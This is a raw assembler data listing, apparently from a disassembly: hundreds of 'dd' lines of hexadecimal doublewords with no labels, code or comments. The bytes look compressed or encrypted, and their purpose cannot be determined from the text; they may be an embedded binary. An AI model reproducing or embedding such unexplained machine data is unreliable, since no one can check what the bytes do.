		dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h,	5FEB2CF9h
		dd 117865h, 0BFE65AF1h,	0BB245818h, 7C8270BFh, 827C1CE8h
		dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
		dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
		dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
		dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h,	5F2400D5h
		dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
		dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
		dd 57C1564h, 51E4B816h,	0FC30D205h, 90B0897Fh, 0ABE80041h
		dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
		dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
		dd 1FF200Fh, 558DB13Dh,	80A54724h, 13FA8347h, 0BF089916h
		dd 438CA500h, 110C648h,	0AD4A3063h, 0E8A8C40Eh,	0B2002A69h
		dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
		dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
		dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
		dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
		dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
		dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
		dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
		dd 217E3B6Ch, 6580898h,	0E0001486h, 0A9298E0Bh,	3F407DDCh
		dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
		dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h,	0BBB32927h
		dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
		dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh,	8DFCA54Bh
		dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
		dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h,	5DC62CBCh
		dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh,	3B974014h
		dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
		dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
		dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch,	85EA1465h
		dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
		dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h,	40E59D03h
		dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h,	770740DEh
		dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
		dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h,	14046B22h
		dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
		dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
		dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
		dd 90AD9344h
		dd 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h, 421C8028h
		dd 27038C3h, 9678732Eh,	6B1EDD00h, 201018h, 0EB7C74A7h
		dd 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh, 4C7200EFh
		dd 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch, 0EE4B54D8h
		dd 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h, 6CA2E407h
		dd 0ACB0A943h, 84258Ah,	5419A457h, 4D68809h, 0BA442039h
		dd 7826DC5Ah, 85CCC00h,	97948C9Ch, 80960041h, 14819844h
		dd 38000988h, 1C08119Ah, 467FE8h, 109BB802h, 29A27436h
		dd 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h, 0C605111h
		dd 87B009A0h, 460410Eh,	7171860h, 0A13600E8h, 8C1B0C02h
		dd 1A00DC10h, 21CCB408h, 0EAD40984h, 3A47519h, 201F4050h
		dd 0D8F38088h, 23D0F0DFh, 1100A081h, 4022E34h, 0E82F7C22h
		dd 5446004Ch, 9C49932h,	800516Ch, 22A4913Ch, 5C2074h, 942C4457h
		dd 0F8116489h, 0BC026600h, 6239DC26h, 100900ACh, 52E00353h
		dd 5A0E7933h, 0AF495931h, 90C0204h, 0F460C124h,	7B38A320h
		dd 0A8086164h, 0D4204137h, 0B10ECCC6h, 66B8CB40h, 0E8C88D2h
		dd 980870C8h, 11DC84E0h, 0CC1D1B48h, 873FD9E0h,	1059E744h
		dd 21F96050h, 2A18001Ch, 0CC29ECA8h, 11315408h,	2B744824h
		dd 0BE2330h, 75D17632h,	14EC6405h, 4AC7ACB8h, 2670023Fh
		dd 7A6359ACh, 0A828007Ch, 0A7C43818h, 5B00F008h, 0F411C081h
		dd 0A021B15Eh, 3026295h, 4C70253Ch, 0A8D1409Ch,	50437089h
		dd 2007657Eh, 58488824h, 51766CF1h, 74A46C80h, 0AC12DC89h
		dd 6DFC2212h, 20462C00h, 0C64B972h, 58755171h, 810AA3B8h
		dd 0D5891744h, 0B8261D00h, 1E117CC6h, 9E43554Ah, 0DA440B4h
		dd 4707E817h, 0E170280Eh, 6AC24225h, 0A787F7D0h, 0DD010ACCh
		dd 1C32007Ch, 0EC08B13h, 1558408Dh, 0C6010013h,	31181F84h
		dd 821000Ch, 32032480h,	52E048E6h, 746E7500h, 20656D69h
		dd 0E27200E4h, 83DAE76Fh, 0EAFC6101h, 863B3000h, 18455140h
		dd 80112DBFh, 80191B57h, 0B5413938h, 57805E5Ch,	0DEC0120h
		dd 0A00A1D55h, 58C5C14Eh, 319C0C56h, 0F8AE31B8h, 1007D430h
		dd 1FC1F927h, 0F3911C23h, 0E20AD81Eh, 1897001Dh, 7CF001ABh
		dd 6C00A466h, 105AE433h, 0B70907ECh, 3896DEh, 6C05265Ch
		dd 4C185B66h, 7C006F74h, 128C8984h, 9C092494h, 8791A448h
		dd 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h, 0FBECFBE4h, 4FCF8F4h
		dd 0C5C0140h, 1C121489h, 2C48C424h, 22349107h, 4C17443Ch
		dd 0F81754F1h, 6CED64EDh, 0F67C6F70h, 8C120584h, 824A9424h
		dd 0BC80E5BDh, 5390408h, 8E641C00h, 6A236547h, 5FA83E89h
		dd 48605403h, 0C0F75808h, 6411610Ch, 0E2BCC803h, 0B0316214h
		dd 46801Ch, 88E02363h, 38C46494h, 1FEC7200h, 306548E2h
		dd 8C5E00F0h, 11660423h, 100D560h, 37842A93h, 0E500D14h
		dd 4B4A4847h, 4E4D4C02h, 534705FFh, 585737C0h, 0A056005Ah
		dd 454104ECh, 4F1C6A49h, 6301B811h, 68676664h, 6C6B80EBh
		dd 0AF6E5A6Dh, 74052F00h, 17A7877h, 61200176h, 606F6965h
		dd 9160B998h, 0C4A010DCh, 0A7AC0022h, 0C6E80901h, 740E84AAh
		dd 0E0315132h, 71B09840h, 9EB0FFh, 0C8101101h, 30912009h
		dd 44312200h, 2F388C34h, 69070041h, 33E8C79Ah, 0B001E90Fh
		dd 19F3F0F2h, 4520A490h, 1D2B90B8h, 0C0F822D4h,	3C45581Ch
		dd 741724DEh, 30408C48h, 0ECD444BCh, 59040288h,	34121881h
		dd 6420FA8Eh, 94227C91h, 0FFA84407h, 0C9001F7Eh, 0C1BD8Dh
		dd 9B382F3Fh, 6B707AFEh, 4B3E1D00h, 0AF51C049h,	391A1CB6h
		dd 931500F4h, 1B926CB0h, 5B78B424h, 95553B00h, 708436F7h
		dd 86B8E4h, 0CE0D4AD2h,	0F501DD09h, 0E3CD5300h,	601DB413h
		dd 0F820006Ch, 0A4225027h, 24009B03h, 41659885h, 0F95018Fh
		dd 728409E8h, 70589907h, 4070084Ch, 8900737Fh, 0C5FF1C88h
		dd 7CA3F003h, 75C80021h, 0A43110BEh, 0A67EE408h, 1933D001h
		dd 70EC09E0h, 0BA740D4h, 0F849CCC8h, 90D7A287h,	0AD0A802Ch
		dd 4A96C06h, 3E60A5FEh,	248EA838h, 68E35409h, 84B87412h
		dd 0B5A89048h, 0C80345B8h, 964C033h, 0EB32EB21h, 4442E83Ch
		dd 0B35A0350h, 0D2C08A24h, 3E08B590h, 152981Eh,	3020779h
		dd 6020504h, 0A266007h,	0D0C0E0Bh, 10400E0Fh, 7894389Ch
		dd 0A403BEBAh, 0C401811h, 0C40B99B4h, 7BD02620h, 310D248Dh
		dd 105C030Eh, 0E09B0E34h, 2001C0ACh, 90E61294h,	0A8021376h
		dd 1A6C3616h, 9C2D6019h, 1F401C80h, 7022C184h, 0F77811CCh
		dd 0A024B1D7h, 0C826E488h, 7A279924h, 20192801h, 6E8954D9h
		dd 3B003160h, 10012E34h, 3C033F1Eh, 0E0EC118Fh,	0B0023308h
		dd 34483E22h, 2F6892h, 2C36317Dh, 9009937h, 0C1399032h
		dd 1EC4023Bh, 0C0B4063Dh, 5C874C3Eh, 400C8CCh, 0B15A448Bh
		dd 37714B0h, 639C1864h,	0E9B03038h, 311FDC73h, 700019D4h
		dd 785DD9BEh, 0F284E89Eh, 20AE0004h, 79CC6398h,	0C4CA2E4h
		dd 4411003Fh, 399C5676h, 995C3A66h, 6C5D798Fh, 0D1F5DDC2h
		dd 0A1E05760h, 3652400h, 0C4793310h, 4807519h, 0DC592CB1h
		dd 12218022h, 422486E0h, 0D200B088h, 5C809219h,	9300053h
		dd 3C247214h, 89161260h, 6003992Ch, 0A8A5D481h,	0E2195C2Eh
		dd 442000Ch, 9948515Ah,	0D07411BCh, 0F9C4B93Ah,	26D9A500h
		dd 65193440h, 5809007Ch, 0D4889C12h, 0A000941Ch, 604A90EAh
		dd 366AC2Ah, 41500998h,	8DC057F7h, 0D9F82808h, 49145900h
		dd 9FB4298Ch, 3C313E33h, 2060A987h, 4C7470C9h, 441F6FF4h
		dd 54C1D939h, 91282999h, 0F0C2C07Bh, 250CA49Eh,	129CC419h
		dd 32BF00E0h, 0A514387Bh, 1B584CACh, 69C6015Ah,	885BC33h
		dd 1134F8h, 0D8A4F904h,	1C94A9DCh, 4C619901h, 49883C09h
		dd 0C9083F2h, 4BFBE8D9h, 20460079h, 66107A30h, 2C3A51E4h
		dd 3FB4C841h, 6875F45Ch, 58037FB0h, 94D31287h, 549A0E60h
		dd 5CE090B0h, 0B466B896h, 6C61A973h, 0CC5211ECh, 3106730h
		dd 94B059F2h, 70C00C84h, 2390B199h, 995AC00h, 74329CDCh
		dd 258C0261h, 20D84C2Ch, 90A4B740h, 0C6FC9600h,	786A59C0h
		dd 0D7011E41h, 1B7257Ch, 5BEAC55h, 91934C87h, 70539190h
		dd 1800869Eh, 0AC562096h, 0FA5EC814h, 9EF205C0h, 807CD024h
		dd 8FEC978Dh, 110088F8h, 0EE1920Ch, 2C0298h, 9A4E203Eh
		dd 9CC8B047h, 0DAF13CC0h, 2C08019Bh, 3F961E93h,	1EC41093h
		dd 0FA1887ADh, 995AF0B1h, 93E7031h, 24A08088h, 91D448B8h
		dd 0F22202E2h, 400CFE44h, 32896A60h, 2425127Fh,	9FA07554h
		dd 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh, 9520B81Fh, 3BCF74BDh
		dd 0C04CCF3Eh, 22749158h, 8196FE86h, 0BFC0FDAEh, 0BFDEBFEAh
		dd 2BFC89EEh, 1973870Ah, 0C03611D2h, 302944CAh,	807D1452h
		dd 5B89053h, 0C20CAC7Dh, 28E489D4h, 41400F4h, 268C1C97h
		dd 27B83411h, 4C00427Eh, 64445822h, 0C020A672h,	0B889A884h
		dd 2430CC12h, 9823BFE0h, 111C1819h, 223A522Ch, 5E444A05h
		dd 3BC0897Ah, 0FB424A4h, 0D491C448h, 0F0E0E2EFh, 991688FEh
		dd 1226810Ch, 5CF53Ah, 82226E91h, 89AA9844h, 0CA54BA7Fh
		dd 0FEFEF297h, 9A0C100Ch, 0B329422h, 0AC468A40h, 96C5A80h
		dd 107DA686h, 89BAA805h, 0D19013CAh, 259BE0F0h,	7F800E81h
		dd 914E483Ah, 6E03607Fh, 898C8044h, 0F8AEFB9Ch,	70154C8h
		dd 0BF08E429h
		dd 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h,	0A612009Ah
		dd 3430B025h, 7200656Bh, 6C076E73h, 2E3233h, 10D45E64h
		dd 7487473Eh, 0C9789Dh,	0E66ECE1Eh, 1C0C6854h, 49646117h
		dd 446DD300h, 0F83046h,	69757243h, 617B63E4h, 0EB537E00h
		dd 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h,	1895B000h
		dd 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h, 0EC46FE00h
		dd 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h,	0A6001AF4h
		dd 0CA51742Ah, 1079E4h,	64695706h, 61683EBCh, 0D0548325h
		dd 1D6C00F1h, 287942B8h, 0C03AE34h, 98212ED5h, 7773F02Dh
		dd 0DAA00074h, 4CE1416Eh, 3E00630Ch, 87FD7970h,	17AD23Dh
		dd 18740648h, 0CB726269h, 612445F1h, 32E9CCB4h,	899B1D00h
		dd 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h, 72504300h
		dd 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh, 61488E3Fh
		dd 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h, 565A5216h
		dd 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h, 0A3938E00h
		dd 3552A59Ah, 751B3F25h, 2C0E1900h, 0ED08BE64h,	4D18B0E8h
		dd 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh, 0A98A5724h
		dd 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch,	0C033DA99h
		dd 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h,	3D9A6600h
		dd 8CFFE0C3h, 0D4770082h, 1F490CD3h, 7B041857h,	52F0ABF3h
		dd 0A23066C0h, 90C6B864h, 2DA100A0h, 227AD153h,	79288A4Eh
		dd 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h, 38527A4Bh
		dd 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h, 0BE406279h
		dd 3AA664D0h, 3501917Dh, 6EEF05EEh, 4DE80A67h, 619E00FFh
		dd 6F428ABAh, 0A6024878h, 7D4E9F11h, 0C80943B6h, 3F29767Bh
		dd 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h, 9A4F29D9h
		dd 0C06E39A6h, 21D41300h, 8723DB89h, 58A7A00h, 29747561h
		dd 70B50740h, 80A00DE4h, 0C4F0A9C3h, 2C0E66F4h,	0A0986F16h
		dd 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh, 844DE965h
		dd 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah, 542849Ah
		dd 9100B8E8h, 591B470Eh, 15DA4Eh, 677A66C5h, 2A1749AAh
		dd 9FE1B400h, 24125628h, 0DE4C3F41h, 0ED641400h, 60934092h
		dd 0E2CF5300h, 70476D75h, 54F6006Ah, 0EF5210B9h, 536EC558h
		dd 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h, 0C463CADEh
		dd 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h, 0C4D42873h
		dd 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h, 322100F2h
		dd 10946BF3h, 0EA7404B1h, 1E184CECh, 0A956F5F6h, 134900B5h
		dd 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h,	149738Bh
		dd 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh, 0CE4E456Eh, 12D4EDBAh
		dd 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h, 0CC6B1E84h
		dd 73F70DAh, 41256361h,	0F22EC097h, 5D005051h, 93C077A2h
		dd 0F4431923h, 219B0FE7h, 4480587Ah, 696F76FCh,	24DF3E00h
		dd 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h, 0A2309C41h
		dd 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah, 53092084h
		dd 8002574Ah, 0E65477DCh, 12A7075Bh, 0FF825014h, 6C440580h
		dd 0D5004967h, 252366EDh, 38699FA0h, 9480B970h,	0A276B444h
		dd 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h, 1E324693h
		dd 8FA6C241h, 6200CAE4h, 0D3EEA4EBh, 2658664h, 57E08A63h
		dd 0FD80D484h, 70412032h, 2990A605h, 41C0BAACh,	9C9BA8h
		dd 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh, 0A3144EADh
		dd 0EA5DA895h, 77F7958h, 3250F10Dh, 88222031h, 0B41D2CD4h
		dd 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh, 0F3EC4CA8h
		dd 3795CD77h, 2A1D7600h, 1268C6DEh, 4878D8h, 412C5357h
		dd 6C42AA43h, 7A00C4E4h, 2D9A2592h, 1849F9h, 1459A361h
		dd 5C6521BAh, 8E1D680Bh, 0D025000Ah, 7D6FAB26h,	981A0C7Dh
		dd 868B1A5h, 1FD6B701h,	2552EB7Eh, 858630h, 18547078h
		dd 0DE6E95C4h, 7568CE03h, 0C00948F2h, 1557B8h, 203D3251h
		dd 0D501299Ch, 1A55B70h, 7000F4D7h, 6E48E010h, 70801h
		dd 2C270C30h, 3C673847h, 0A7408700h, 0E748C744h, 0E850E44Ch
		dd 0F062EC54h, 0F872F46Ah, 0FC82FC7Ah, 0FC92FC8Ah, 0FCA2FC9Ah
		dd 0FCB2FCAAh, 0FCC2FCBAh, 0FCD2FCCAh, 0FCE2FCDAh, 0FCF2FCEAh
		dd 2E100FAh, 12C90A31h,	0D93D1AD1h, 0E92A0022h,	0F93AF132h
		dd 0E84AE442h, 0F05AEC52h, 0F86AF462h, 0FC7AFC72h, 0FC8AFC82h
		dd 0FC9AFC92h, 0FCAAFCA2h, 0FCBAFCB2h, 0FCEEFCE6h, 4FFEFCF6h
		dd 96ACF8h, 7616740Eh, 327781Eh, 507C487Ah, 0BF90B87Eh
		dd 3477071Ch, 80CD9D3Ah, 27263513h, 7E0479Ch, 55362161h
		dd 7CD150C9h, 37000FD8h, 9A385E1Ch, 1DB79Dh, 1ECD9EC2h
		dd 1FDF9FD5h, 0F300E974h, 0F390987h, 15471D27h,	0B43A6730h
		dd 0AEC74E14h, 6E2A5C39h, 7A8978ACh, 7E9D7C95h,	7EAE7EA8h
		dd 54C17EBBh, 0FCECA4DBh, 7EE14F6h, 1700E03Ah, 2E672847h
		dd 0A70A3687h, 0DA57C740h, 9B14839Dh, 0C652CAh,	303B1AE1h
		dd 0D17FC9h, 0E0BDD99Fh, 0DC723CCFh, 3D0F1C00h,	1D2E9D15h
		dd 409E0037h, 549F4B1Eh, 6AE85B1Fh, 93F071ECh, 0F4F8ECF4h
		dd 3E79870Ah, 0A2809697h, 143F0E61h, 0D12400C9h, 0E172D92Dh
		dd 9107E97Bh, 0BBF9AFF1h, 0CF00C325h, 872083FBh, 8CC0007h
		dd 3A309C3Bh, 1D00649Dh, 1E7D9E6Dh, 3A8B9F85h, 9B3B941Fh
		dd 0A603A03Ch, 324FB992h, 0E6BC39h, 3118C3EEh, 3EFE971Eh
		dd 5401488Eh, 73495C0Fh, 0C492F924h, 4600CA10h,	1CFC7E0Eh
		dd 343202h, 761D589Dh, 8C1E869Eh, 1F949F0Eh, 87F980EEh
		dd 3083302h, 21471827h,	0F0017267h, 93C789A7h, 0A1C999E7h
		dd 0AD67CFD3h, 0BEA0B487h, 3465E1h, 0D1ABC98Dh,	0E0BFD9B7h
		dd 72351900h, 7627741Fh, 6278014Ah, 3F368349h, 0D0C9C9B5h
		dd 93000ED7h, 0A243B237h, 90AD38h, 0E46A3A1Dh, 0ECB9E8A9h
		dd 0EDF0CF01h, 3B5003F4h, 69F12FE1h, 0EF3F0h, 663D4A3Ch
		dd 0AE8E9A4Eh, 3E2CF00h, 93283E0Ah, 98A3036Bh, 0D3C3A1B3h
		dd 11E0DC88h, 0AA393F00h, 850C62D4h, 498000C8h,	12A71DCCh
		dd 5E07C735h, 998767E7h, 0FC1BF90h, 0C8533B31h,	0CF19ABC8h
		dd 0D9338E74h, 7649D840h, 7F785400h, 0DF7C947Ah, 1CF2007Eh
		dd 9D3C3406h, 52001D4Ch, 5E1E589Eh, 901F649Fh, 7873762Bh
		dd 0F4915483h, 0F8BCFCB3h, 1B8700C3h, 39272035h, 673D4447h
		dd 0A757004Ch, 0E76FC769h, 0A98EE475h, 0ABE1A6C5h, 9A24CDE9h
		dd 9AE8FCE3h, 3604003Ch, 0D117C909h, 0CA00D9BEh, 503AFBE0h
		dd 4080C4h, 0C3146C81h,	0A7934A92h, 0B2B6A301h,	643203CFh
		dd 0C9E4ABE5h, 39BA00B3h, 0E05016D9h, 0FD1EE4E7h, 368040E8h
		dd 0E6A12A56h, 76F20074h, 380B1CF9h, 32009D29h,	459E3E1Dh
		dd 87E21Eh, 27B7398Eh, 61C547BEh, 0BF3A8400h, 723B0EC8h
		dd 0EC7400B9h, 0AF3C051Ch, 3D008887h, 3E1821BAh, 0E0C953h
		dd 9D9F8D1h, 0E83CC024h, 56EC4D00h, 50CB98F1h, 28C1206h
		dd 345E00C3h, 0A33A9333h, 53B3441Eh, 67D35DC0h,	0F279E3h
		dd 0A9C0A78Fh, 6093B0E4h, 0C4F3BD1Ch, 0D31DCB9Dh, 0E51EDC9Eh
		dd 0F71FED9Fh, 1F0FB80h, 0E40535h, 920FE80Bh, 7C2C7A74h
		dd 3B49361Dh, 4E543F8Eh, 0CF6B8E5Eh, 4F8A0F82h,	0CF9A8F92h
		dd 0CFAACFA2h, 0C0C4CFB2h
		dd 0D6012AF5h, 763B0074h, 7A687843h, 7E717C70h,	9E758473h
		dd 0D279AF77h, 0F07DE77Bh, 0FA00F57Fh, 1B370D1Ch, 91D259Dh
		dd 1E489E43h, 87675584h, 678647B5h, 0AF96878Eh,	9F1E1FF3h
		dd 9FB61FAEh, 9FC69FBEh, 9FD69FCEh, 0A4E69FDEh,	80F61FFFh
		dd 380687FEh, 1607270Eh, 26671E47h, 36A52EA0h, 46EE0E4Fh
		dd 56404ECFh, 661A0FD6h, 76F46EF0h, 0CA0E7EF8h,	2E3FFC86h
		dd 0AE9E6E96h, 2FAEEFA6h, 0AFBE6FB6h, 0CFCEEFC6h, 0CFDECFD6h
		dd 0CFEECFE6h, 0EFEC1F6h, 4ECC3906h, 1E8E0016h,	2E0F26CFh
		dd 8F00364Fh, 2746CB3Eh, 14E75638h, 0F466E55Eh,	7EF27603h
		dd 0F9D92EC9h, 6406C8F4h, 0E8142C01h, 0F024EC1Ch, 0E1190DCh
		dd 44FC3CF8h, 548E4C4Eh, 640F5CCFh, 748F6C4Fh, 20FD7CC0h
		dd 94FC8C58h, 0A4FC9CFCh, 0B4FCACFCh, 903FBCF4h, 3FCC3FB0h
		dd 3FDC3FD4h, 3EEC3FE4h, 40260F4h, 3A0C3B39h, 1C00143Ah
		dd 2C3D243Ch, 3F77343Eh, 4CE844E4h, 5C7A1B92h, 6C7E647Ch
		dd 7C7E747Eh, 8C7E847Eh, 9C7E947Eh, 0AC7EA47Eh,	0BC49B47Eh
		dd 3FCC3F23h, 24DC05D4h, 4E87AAE4h, 487FC20h, 195B03Ch
		dd 671C4714h, 602C8424h, 253CC93h, 7CFEC77Fh, 40E884E7h
		dd 7ED492A3h, 0CE74BC72h, 0FE00CCFh, 80FA5FF4h,	7404723Dh
		dd 140C7608h, 0BB481078h, 1C396548h, 3C3B2A3Ah,	643D5C3Ch
		dd 6C3F683Eh, 743F703Fh, 2C64783Fh, 987C9280h, 0F9C04FE9h
		dd 0F9C8F9C4h, 9FD0F9CCh, 0DC80D87Dh, 0EDEE059h, 1C3E0114h
		dd 248B204Eh, 0A72CE427h, 34C43001h, 3CE75D87h,	0EC6CEC74h
		dd 0F478F074h, 0FC80F87Ch, 0FC88FC84h, 0FC90FC8Ch, 0FCA4FC94h
		dd 0FCCCFCC4h, 3ED4FCD0h, 3281D8E5h, 0F3E450C3h, 0F2ECC8E8h
		dd 54690400h, 0D930D12Ch, 38E13934h, 4E405C92h,	4C884830h
		dd 8815ABA9h, 0AF902AADh, 3F309849h, 91A422A0h,	49E0122Ah
		dd 2E24E82Ch, 0F83093F0h, 8C99F0F7h, 130F6010h,	612501D4h
		dd 51347882h, 0F96890F3h, 3090E488h, 0BA675274h, 0A4727E54h
		dd 0AC76A874h, 0C05DB003h, 93E83F58h, 0B3F0A3ECh, 0D0F8C3F4h
		dd 3970FCh, 83A0431h, 383C665Ch, 2E403D00h, 4C9F6844h
		dd 4B500097h, 6EA7586Ch, 7054E760h, 9CEC98A6h, 0AAAAA0F0h
		dd 0F9ACEEE1h, 0B81974B0h, 54B2C8FCh, 0F405F07Eh, 82D7F8E5h
		dd 93043D80h, 0CA30008h, 20C310B3h, 500040D2h, 0B4C4A94h
		dd 0EEA75496h, 60E5015Ch, 0F3688293h, 0D19CC97Ch, 0E1A8D9A4h
		dd 0F2B0E8ACh, 4850B43Ah, 0D22C4862h, 0E0F82400h, 48045D33h
		dd 3C00D7ACh, 0B2142E10h, 960E1C9Fh, 214F1720h,	60CF5C22h
		dd 68D164C9h, 70E16CD9h, 78F00471h, 0AB7C07CBh,	12BC8732h
		dd 2249C0E7h, 7C2426C8h, 0DC00D87Eh, 3974ECE6h,	4D3A1434h
		dd 200B1018h, 5A8E243Dh, 0FDFF2C20h, 4873029Fh,	0DE70B5A1h
		dd 0ED78ED61h, 0DF80F47Ch, 887E847Eh, 904AE0B8h, 0CFC0130Fh
		dd 0CFCC8FC8h, 96D4C1D0h, 0E0CC4FD8h, 4CE472CFh, 782E5CE8h
		dd 592400CCh, 0B35C9228h, 38F47F13h, 20B88F01h,	0DA2474BAh
		dd 78CC927Ch, 7C8C7A88h, 98C3A090h, 0A01E0E0Fh,	0B840A4CFh
		dd 5C61D8C9h, 488DE458h, 0C0FDB058h, 0E4140036h, 0ED3CE834h
		dd 44095670h, 4F848F4h,	49D25094h, 419A4A58h, 0E2F1C688h
		dd 0CDF8F9F9h, 718001B2h, 56775938h, 0FC6D7158h, 4104623Bh
		dd 6ED16A40h, 976BEA0h,	7EF17AE9h, 2C869D61h, 818E259Fh
		dd 582896A1h, 0CE605065h, 3093CA6h, 1A630A02h, 0A2607083h
		dd 0DB0092A8h, 4A904926h, 0AD9AFD1h, 320AE0E4h,	0A748009Fh
		dd 81331C50h, 0F9B9D07h, 36A034B5h, 4F274Ah, 1ED35B45h
		dd 50B0D2ABh, 0EF007EE0h, 3A0E215Dh, 388B3B65h,	9F00A72Eh
		dd 4B0216D8h, 273347F2h, 0F08282E6h, 0DCC7BCh, 713905E1h
		dd 0B5D19CC9h, 64C2D901h, 3F8EAAEh, 0E41E3AF4h,	2B0E0058h
		dd 704E6B3Bh, 0CF00788Eh, 21B30BA2h, 613C7150h,	0D8A5437Fh
		dd 5DDE302Eh, 76B07403h, 0C3CE98EAh, 0C269C347h, 7ACD6077h
		dd 9D7C2696h, 0C84D0B16h, 0C0EB6084h, 72F2512h,	47780203h
		dd 989B6787h, 12AEFEh, 940CF188h, 30050708h, 0D824A509h
		dd 805489E0h, 0CF3ABD28h, 3219010Eh, 8E3F4E2Bh,	0FB7E48Bh
		dd 0FB4FEC00h, 26330A83h, 0A25F0093h, 86C6496Dh, 0F10B8EE9h
		dd 2C8A2C9Dh, 0ECB78E86h, 0C2242EBDh, 9DCF1C69h, 9EDA1DD5h
		dd 9FE51EE0h, 0F017EBh,	3403876Fh, 2A0F2421h, 0C45385h
		dd 0F85056A0h, 1C960055h, 0CE4F6712h, 8272CF79h, 0B100A874h
		dd 1A62BAC9h, 2C640h, 9224B35h,	0A4216618h, 11360800h
		dd 6A24CCC9h, 3739000Bh, 3B343A19h, 58733C3Dh, 7E3E6B04h
		dd 3880873Fh, 707B525h,	0EBE7DD0Ah, 223850E1h, 610F2BC9h
		dd 5D4DD95Dh, 0F17FE940h, 3DB0F9A1h, 0FC288C24h, 0B12E2F6h
		dd 2A3B223Ah, 473D2580h, 1C1F6424h, 52563284h, 0EC6D8E00h
		dd 7BF073h, 0C0F880F4h,	0C85D9EBAh, 0D02EA000h,	4BD897A2h
		dd 0A5E000A4h, 0A8D2E8A6h, 0AA00E9F0h, 0C2AC75F8h, 7A926EE3h
		dd 10B00008h, 0BA18B274h, 20005DB4h, 0B8282EB6h, 0F64B3097h
		dd 0BCA50038h, 48BED240h, 500FC0E9h, 0C058C274h, 0C6605DC4h
		dd 0C868002Eh, 0CA4B7097h, 0CC01A578h, 88CED280h, 5761D0E9h
		dd 0BA98DCh, 0D6A05CD4h, 0B8CBB0CFh, 0C8D89900h, 0DA73D0F9h
		dd 2EE0003Fh, 0F867DCE8h, 3C010BEEh, 0D910DE91h, 2CFC7318h
		dd 2EE10028h, 0E54067E2h, 0E44CCC48h, 0B960092Dh, 97A980E6h
		dd 0EE83378h, 0EA90F288h, 0A0CC4120h, 0ACE4A8F9h, 0B8ECB4E8h
